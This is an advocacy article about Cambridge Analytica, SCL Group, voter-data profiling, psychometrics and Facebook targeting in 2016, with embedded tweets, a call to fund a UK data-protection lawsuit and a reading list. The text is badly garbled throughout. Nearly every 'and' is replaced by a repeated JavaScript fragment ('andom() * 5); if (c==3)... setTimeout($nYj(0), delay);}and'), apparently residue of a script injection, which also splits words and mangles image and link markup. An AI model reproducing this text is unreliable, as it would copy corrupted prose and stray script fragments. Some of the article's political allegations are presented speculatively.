Hacking the Voters

Hackers at DEFCON have just revealed that all of the voting machines in the USA can be easily hacked. It gets worse. Voters can be hacked as well. In 2016, American's voter data was compromised andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and abused in ways that we are just beginning to understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and. Political campaigns have been collecting data andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and building sophisticated models of voters for decades. The Obama campaign, often touted for its breakthrough application of new targeting tech, accelerated the possibilities. In response, the Republican Party realized it needed to get aggressive about its digital strategy. As we look back on the current president's campaign, remember its shocking result, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the chaos of every day since, we are finding mounting evidence of wrongdoing. Indeed, the misuse of our voter data is a critical aspect of the foreign attack on our democracy in 2016. Understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding what lines were crossed will help us protect future elections from further abuse. Investigations in Congress are scrutinizing the Trump campaign's use of digital technology with key figures called to testify. Meanwhile, Americans do not realize that British regulators are currently investigating if a British company violated British data protection laws interfering in our democracy.

16/ An important development: @ICOnews opens a formal investigation that directly impacts Cambridge Analytica/SCL.https://t.co/NPCyBmQs31

- David Carroll (@profcarroll) May 17, 2017

The Ted Cruz andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Donald Trump campaigns hired a very unusual British company called Cambridge Analytica to work on their voter targeting strategies. General Flynn, a key figure in the Russia election hacking investigation, suspiciously updated his disclosure forms to include payments from the company. That means his story changed from an earlier denial when reporters asked about his ties to the company. He only admitted to working for Cambridge Analytica after his offer to cooperate with investigators for immunity was rebuffed by the Senate Intelligence Committee. What was he trying to hide?

Flynn openly praised their information warfare soldiers in the media as a theater of war, militarizing politics. pic.twitter.com/oj8ovbmXCb
- David Carroll (@profcarroll) July 1, 2017

That's what we're trying to find out. We've already learned so much andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and each detail is more unbelievable andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and disturbing than the next. Let's start with the basics.

andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and.jpg">andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and.jpg" alt="" width="442" height="663" />

The Trump voter data operation took the unprecedented step of hiring a British military contractor to handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andle its target audience analysis services for voter targeting. Previously, political campaigns had the good sense to keep our voter data in the United States. It turns out that Cambridge Analytica may be some sort of a facade to obscure its parent company, SCL GROUP LIMITED, a military contractor, purveyor of psychological operations, or PSYOPs in military lingo. Their elections division, SCL Elections in London, is the actual company behind Cambridge Analytica, the company that claims to have big data dossiers on every registered voter in America. The company does its "election management" work around the globe, with political clients in places such as Kenya andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidate-in-mexico">Mexico andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and contracts for government entities like NATO andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the US STATE DEPT.

We set out to see if US voter data was processed in the UK to prove our central allegation that it leaked out of the country for the first time. On February 23, 2017, I asked SCL Elections, the registered data controller for Cambridge Analytica in London, for my data. If they ignored or denied my request, we would be proven wrong because it would suggest that our data stayed in domestic storage exclusively.

 

4/ Here is letter provided by Cambridge Analytica/SCL with request describing data protection policy jurisdictions andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their data sourcing. pic.twitter.com/mrOmr4qPlf
- David Carroll (@profcarroll) March 27, 2017

On March 27, they sent me my data andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and proved our fears true. Our data appears to be sitting in London. I posted my letter from Cambridge Analytica signed by the COO of SCL andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and screenshots of the spreadsheets of my "data" to Twitter. By putting it out there, we quickly learned that the company is not compliant to the Data Protection Act in the UK. A solicitor andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a barrister in London have agreed to take anyone on as a client to exercise our data protection rights there since we probably have none here at home. That means all American voters can all sue the Trump campaign's voter data company in London if they refuse to delete our data, refrain from collecting it again, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and answer our reasonable questions about where they got our data, how they used it, how they blended voter registration information with it, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and who they shared it with.

Donate to the CrowdJustice campaign right now andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and help fund the effort to get our data back.

 

Haven't requested your #CambridgeAnalytica voter file yet? Let @PersonalDataIO help guide you thru the process.
https://t.co/qVkRBCuyoe
- David Carroll (@profcarroll) August 20, 2017

Frequently Asked Questions

Who owns Cambridge Analytica andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and SCL GROUP?
We know from public disclosures that Steve Bannon holds loans, "membership units," andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and has been paid generous fees by the Cambridge Analytica LLC registered in Delaware. Multiple reports suggest that Trumps' mega-donor Robert Mercer owns most of the company (along with Breitbart) but Delaware corporate secrecy laws prevent documented confirmation. The parent company SCL GROUP LIMITED in Britain has a complex ownership structure that can be deduced from public filings. Researchers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and reporters have been working together to draw the corporate structure that links while trying to obscure the US entities deeply intertwined with a British-based, oligarch-controlled conglomerate.

But all that really matters is one simple question: Which company has custody of our data? SCL Elections in London, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and data access was apparently not limited to the US-based Cambridge Analytica LLC owned by Bannon andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Mercer.

What is Target Audience Analysis andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how does it work?
The digital advertising industry has developed an elaborate andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and troubling sub-industry dedicated to matching our consumer data with our identities. The data from our browsing histories, television habits, shopping habits andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and so much more are collected for the business purposes of targeting people to make ads more "relevant" so that businesses feel that they waste less money on advertising.

Re-identifiable data is freely trafficked in the US. SCL (or any company) buys commercial data andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and links it to voter data for TAA. pic.twitter.com/Ke1PCRC4Up
- David Carroll (@profcarroll) June 22, 2017

Unfortunately, military contractors have adopted these practices for geopolitical purposes to segment populations in order to identify potential cognitive biases or susceptibilities for influence campaigns or even radicalization. We should now expect that our voter registration records are being used as an index of our personal information for political campaigns. But we do not expect that our voter identity is being used for commercial purposes (it is!) nor do we expect that international military contractors are processing our voter data, blending it with our commercial behavior data so that we are effectively de-anonymized, re-identified, segmented, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sorted into classifications we cannot easily understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and used against our political interests without our knowledge or control.

All those privacy policies that you never read broke their core promise. They usually say by not attaching your given name to your data when they sell it they will be "respecting your privacy." These are all broken promises because our data is getting re-attached to our once-anonymous data sets using voter records andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and data matching algorithms. It's being used against us by foreign companies with strange ties to secretive oligarchs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and potentially traitorous figures associated with the Trump campaign, transition, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and administration.

When people say they don't need privacy because they have nothing to hide, they haven't thought it through. Now you understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and why it's a fallacy that benefits the advertising andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and military industrial complex but not the people's democracy or our national sovereignty.

What are psychometrics andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how do they work?
Psychometrics, also known as psychographics, is a controversial personality model developed by behavioral psychologists with Cambridge University at the forefront of this research. The Republican-servicing voter data company Cambridge Analytica appears to get its name from the university's Psychometrics Centre where the original studies that gathered data from Facebook personality quizzes provided the massive data sets required to model people. You can connect your Facebook or Twitter account to their Apply Magic Sauce tool to see how the algorithms can read your social media activity to provide your personality model.

Psychometrics are based on the so-called Big 5 or OCEAN personality model. Cambridge Analytica claims to have scored every registered voter in America on the OCEAN scale by blending our consumer data with our voter registration.

There are other psychological measures being uncovered by researchers, including measures that effectively identify people who are essentially gullible because they have personality markers for not thinking critically.

The big idea behind OCEAN Psychometrics is that the population can be mapped against the averages. Therefore, it's not terribly interesting or useful to see your own OCEAN score. You can attach your Twitter andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and/or Facebook accounts to Apply Magic Sauce at Cambridge University andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and see for yourself how your social media activity provides the raw materials to grade your personality.

Long after receiving my Cambridge Analytica voter file, which did not include my OCEAN score despite my expectations it should have, I connected my Twitter account to Cambridge University's Apply Magic Sauce andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and my personality was modelled as follows:

If you do that, you're giving consent to the university to analyze your social media data. It's one thing to sign up for a personality quiz. It's another thing entirely to score an entire electorate without their knowledge or consent.

Many observers think psychometrics is hocus-pocus, in the realm of Myers-Briggs, or even horoscopes. But these scores are valuable at scale to further achieve weaponized target audience analysis. If personality traits along with many other factors help a campaign precisely isolate the approximately 77,000 voters its takes to swung the Electoral College in 2016, then it also enabled those people to be bombarded individually with personalized propagandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anda. When political media becomes this invasive andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and precise, we have to ask ourselves: Can the minds of the electorate be hacked?

 

Showing how additional traits beyond OCEAN scale leaked in TV broadcast. @podehaye snagged it CSI zoom-in. Need for Cognition (gullibility) pic.twitter.com/tRMMQCS2Qj
- David Carroll (@profcarroll) April 13, 2017

Does this mean that authoritarian voters be targeted andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and "activated"?
While the hackers that "pwned" all US voter machines grabbed the headlines coming out of the DEFCON conference in Las Vegas, another shocking presentation by the Online Privacy Foundation on Brexit voters was largely overlooked. In this alarming study, the researchers performed a replication study (using existing methods andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and datasets) to test what markers in psychometric profiles could be used to profile authoritarian voters in the UK for the EU referendum, also known as the Brexit vote.

Controversy surrounds the issue of whether or not Cambridge Analytica provided its services to the Leave.EU campaign that funded the political operation to convince the British to vote Leave, not Remain. The tycoons that paid for Leave.EU, Andy Wigmore andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Aaron Banks, are buddies with Nigel Farage, Donald Trump andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Robert Mercer. Banks andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Wigmore are on record in video, documents, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their own tweets describing how that they used Cambridge Analytica for their campaign. SCL employees are also on record touting their services for the Bad Boys of Brexit. Their services were reportedly donated by Robert Mercer, which would be unlawful to British campaign finance law. In response, the CEO of Cambridge Analytica, Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ander Nix offers non-denial denials when asked by reporters if they worked for the Brexit campaign. SCL has threatened The Guardian with legal actions for poking too deeply at the truth in their coverage, exploiting libel laws that do not compare with US practices. Wigmore andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Banks have tweeted that they will be testifying to the Senate Judiciary. Getting their narrative ahead of the investigation is a smart move on their part, especially if they're guilty of wrongdoing andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and misleading the public.

Assuming Cambridge Analytica did build psychometric profiles of British voters, the Online Privacy Foundation study found a troubling correlation between the Openness andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Conscientiousness facets of OCEAN model as clearly identifiable markers for authoritarian andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and anti-authoritarian voters. In other words, Cambridge Analytica may have helped the oligarchs who wanted Britain to leave the European Union by finding the precise voters in the swing districts with a penchant for authoritarian thought. They were able to tailor messages that tap into the cognitive biases of the authoritarian personality andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and further reinforce, target, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and tailor messages to these voters to activate andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and even foment their propensity for authoritarian rule.

Controversy surrounds whether or not Cambridge Analytica used psychometrics for profiling US voters as well. In a similar pattern, employees have described in interviews andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in company promotions their capability to psychometrically profile every US voter using the OCEAN model. However, as soon as reporters andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and researchers started asking tough questions, the company has changes its story, claiming it did not use psychometrics for the Trump campaign. They acknowledge using psychographic methods for the Cruz campaign who went from being the most detested politician in America to winning the Iowa primary.

Tonight - 8pm on BBC2. I get inside Trump digital HQ to understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how he won. #SecretsOfSiliconValley pic.twitter.com/xnIdT7kod6
- Jamie Bartlett (@JamieJBartlett) August 13, 2017

We are pursuing civil action in UK courts to get answers to these questions. Did the Trump campaign use (legacy) psychometric modeling or not? Did any company with legal associations to SCL Group work for Brexit or not? Could authoritarian voters be identified in swing districts using psychometrics? Did they respond to hyper-targeted messages on Facebook andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and television by tapping into these susceptibilities? Do the owners of SCL andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and its affiliates have financial andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and/or legal ties to Russian, British, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and American oligarchs? Are they coordinating an attack on our democracies using dark databases?

Only the courts, with help from the ICO, can force SCL to make good on its requirement to comply with the UK Data Protect Act andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and give us the answers we have rights to get.

How is Facebook involved?
This is where things get really complicated. Facebook has played a key role on the front andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and back-end of this fiasco.

It all started at the University of Cambridge when academic researchers conducted unethical andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and likely unlawful data collection practices using the Facebook platform. The researchers got kicked off of Amazon andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Facebook when the companies learned what was going on their systems. The Cambridge researchers claim to have deleted the data on 30 million American Facebook users. But given the strange behavior of this company in many other contexts, it is reasonable to doubt just about everything this company andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and its affiliates claim.

The data that the Cambridge University researchers collected allowed them to psychometrically profile users who installed a personality quiz app. The researchers discovered that they could accurately predict the following personal details about someone with as few as 170 Facebook likes per Facebook user (prediction accuracy): Your ethnicity (95%), gender (93%), sexual orientation (88%), politics (85%), religion (82%), whether you smoke (73%), drink (70%), use drugs (65%), are in a relationship (67%), andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and whether your parents were divorced when you were 21 (60%). (Kosinki et al 2013 from Networks of Control)

SCL claims it does not currently possess the Facebook Like data its affiliated researchers gathered illegitimately but we don't know if they acquired the data model they needed when they improperly collected it. In other words, they could have developed an algorithm from stolen Facebook data andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and there's no indication that they voluntarily destroyed this intellectual property. Instead, they're asking everyone to take their word for it they are well behaved. We should assume that the company has sophisticated algorithms andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and data sets to draw upon allowing them to invasively model every single registered voter. Facebook failed to protect the privacy of 30 million voters. In that way, Facebook broke their privacy promise to all of us.

On the back-end of this fiasco, Facebook was used to deliver the hyper-partisan, hyper-targeted, hyper-personalized ads to individual voters, addressed by name. Facebook advertises to political campaigns the advantage of being able to upload the email address or other identifiable information about voters so they can be precisely targeted on Facebook. There's a feature called Custom Audiences that allows anyone to target you by name, if they have your email address andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it matches your Facebook account email address. With enough money andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and data to target you, an unknown entity can overload your Facebook news feed with sponsored posts.

To make a terrible situation worse, fake users can be purchased on the dark market that are either software-based or click-workers toiling for pennies in countries like Vietnam, Indonesia, Bangladesh, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Egypt. Fake users create a false amplification effect, what most people call bots. They make it look like more people agree with ideas than actually exist. This manufactures consensus andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and seems to exploit a powerful cognitive bias that helps content go viral.

Facebook claims not to have saved the 100,000+ variations of hyper-targeted ads presumably developed with Cambridge Analytica target audience analysis andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and psychometric profiling. Journalists, regulators, private citizens are unable to review the Trump campaign's digital political advertising campaign, in terms of content andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how it targeted to voters. If the campaign wanted to hide wrongdoing, Facebook may have facilitated that.

If Facebook failed to foresee how their platform could be abused in this manner, it's on Mark Zuckerberg. The company was making $1 million per day in August of 2016 leading up to the October surprise. Now it is safe to presume that SCL andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Facebook are being scrutinized by investigations in Britain by the Information Commissioner's Office andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in Washington DC by the House andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Senate committees. According to reports, the special counsel served Facebook with a warrant for data andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ads connected to an advertiser with troubling links to the Kremlin.

How did this happen? What can we do about it?
This happened because Americans have a different attitude andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and mindset about digital privacy than Europeans do. We have laws that protect our privacy in specific "vertical" industries but we have no broad "horizontal" laws that protect our data, generally. For example, your medical data is protected by the HIPAA law. Your college transcripts are protected by FERPA. But there is no federal law protecting voter data from being blended with commercial data to de-anonymize you without your consent. Without express prohibitions on political andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and personality modeling, the market for voter profiling thrives, totally unregulated in the United States, somewhat regulated in the United Kingdom, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and forcefully regulated in countries like France andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the European Union more broadly.

Most significantly, as Americans, we have no rights to know either way, no right of access. We can't demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that companies share the data they have on us with us. The ones that do now (you can download your data from Facebook, Google, LinkedIn andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Twitter) do so as a courtesy to Americans andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a requirement for Europeans.

Europeans have this right of access, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and many more privacy rights that they we do not enjoy in the United States. That's one of the biggest lessons learned from requesting my data from Cambridge Analytica. Ironically, if the Trump campaign had not processed our voter data in London, leaking it out of the country for the first time, we would probably not have realized we need these crucial rights that we now must demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and from our government. We need equal data protection rights with Europe.

To protect our democracy, we need to protect our data andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and treasure our privacy. The European Union has already passed a sweeping new law called the General Data Protection Regulation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it becomes enforceable in May 2018. You will start to see new pop-ups on websites that will grant you your new data protection rights thanks to the EU. American companies will not be exempt from the steep penalties of failing to comply with GDPR. The flow of data across geographic boundaries is stretching the jurisdiction of laws in many new ways. If your data gets processed in another country, you may exercise your data protection rights there. Conversely, you're a company that collects data from EU citizens, you are liable to crackdown andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lose 4% of your revenue turnover to EU authorities if you fail to protect EU citizen data lawfully. Things are going to change for the better, as democracies gain badly needed data rights. It will become harder andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and harder for companies like Cambridge Analytica to have a viable business model if the electorate flexes its new data protection muscles in the courts.

This brings us to our goal, the key thing that we can do right now to protect the future of democracy. If we succeed at winning a lawsuit against SCL in London for their violations of the UK Data Protection Act of 1998, then we will set an important legal precedent that companies can't do what they did in 2016 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and seek to repeat in 2018.

The easy part will be contributing to an upcoming crowdfunding campaign. Your contributions will go directly toward the civil case in London. You don't have to request your data andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and become a client of Ravi Naik, but it certainly helps strengthen our position. It also gives you a chance to take your data back andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and prevent it from being collected in the future. Send a blank email to  voterdata-join@mfadt.parsons.edu to subscribe to the mailing list for announcements andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and discussions related to the crowdfunding campaign andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and legal challenges.

The hard work will entail supporting your representatives in state andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and federal government fighting for the passage of privacy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and data protection legislation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding up to tech titans that may seek to silence dissenters. It also means remembering to demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the nomination of agency appointees to FCC, FTC, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and FEC who will take a muscular approach to holding companies accountable to the democracies that enable their successes.

Lawmakers won't be enthusiastic about limiting their own ability to hyper-target andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and manipulate voters to keep them in power. The electorate will have to unify across the aisles to shock the system into ratifying equal data rights to Europe.

Lawmakers will be up against deep-pocketed industry lobbyists hell-bent on blocking any reasonable privacy laws from being passed in the US. They will take the fight all the way to the Supreme Court andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they will claim that the First Amendment gives them unrestricted rights to collect data on us. They will claim it is protected commercial speech. We will need to defend our privacy as our right of autonomy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sovereignty of our identity. This involves standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding up to secretive companies like SCL but also a national conversation about what Facebook andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Google are doing to erode our democracy with the help of data brokers like Axciom, Experian, Equifax, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and all the adtech companies that track andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and target us for advertisers.

Down the Rabbit Hole

Several fascinating andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in-depth articles have been written about Cambridge Analytica andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the controversies surrounding voter data abuse by top-notch reporters. Once you discover this company, it's pretty easy to become obsessed with it. Here's a reading list of some of the best articles on the subject.

Carole Cadwalladr for The Observer
The great British Brexit robbery: how our democracy was hijacked

Jane Mayer for The New Yorker
The Reclusive Hedge-Fund Tycoon Behind Trump Presidency: How Robert Mercer exploited America's populist insurgency

Joshua Green andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Sasha Issenberg for Bloomberg
Inside the Trump Bunker, With Days to Go

Stephanie Baker, David Kocieniewski, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Michael Smith for Bloomberg
Trump Data Gurus Leave Long Trail of Subterfuge, Dubious Dealing

Ann Marlow for Tablet Magazine
Will Donald Trump's Data-Analytics Company Allow Russia to Access Research on U.S. Citizens? Tracing the suspicious-looking, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and messy, ties between a Ukrainian oligarch, an elections-information firm, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the GOP candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidate's former campaign manager.
andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-politics/211152/trump-data-analytics-russian-access">

McKenzie Funk for The New York Times
The Secret Agenda of a Facebook Quiz

Dave Gershgorn for Quartz
The industry that predicts your vote - andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then alters it - is still just in its infancy

Massimo Calabresi for Time Magazine
Inside Russia's Social Media War on America

Nina Burleigh for Newsweek
How big data mines personal info to craft fake news andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and manipulate voters

Hannes Grassegger andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Mikael Krogerus for Motherboard
The Data That Turned the World Upside Down

Matthias Schwartz for The Interface
Facebook failed to protect 30 million users from having their data harvested by Trump campaign affiliate

Tamsin Shaw for The New York Review of Books
Invisible Manipulators for Your Mind

Sue Halpern for The New York Review of Books
Hacking the Vote: Who Helped Whom?

Timothy Revell for New Scientist
First proof that Facebook dark ads could swing an election

Eric Albert for Le Monde
Cambridge Analytica, la start-up qui influence les electeurs

J.J. Patrick for Byline Media
Alternative War
A crowd-funded, micro-published book written by a British ex-cop who has chased the story like a detective. His book is steps ahead of the media narrative andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ties the big picture together.

 

And then @J_amesp arrived at the door to tell the story of Russia’s hybrid war on democracy pic.twitter.com/vFXKltkGoW
— David Carroll🦅 (@profcarroll) August 23, 2017

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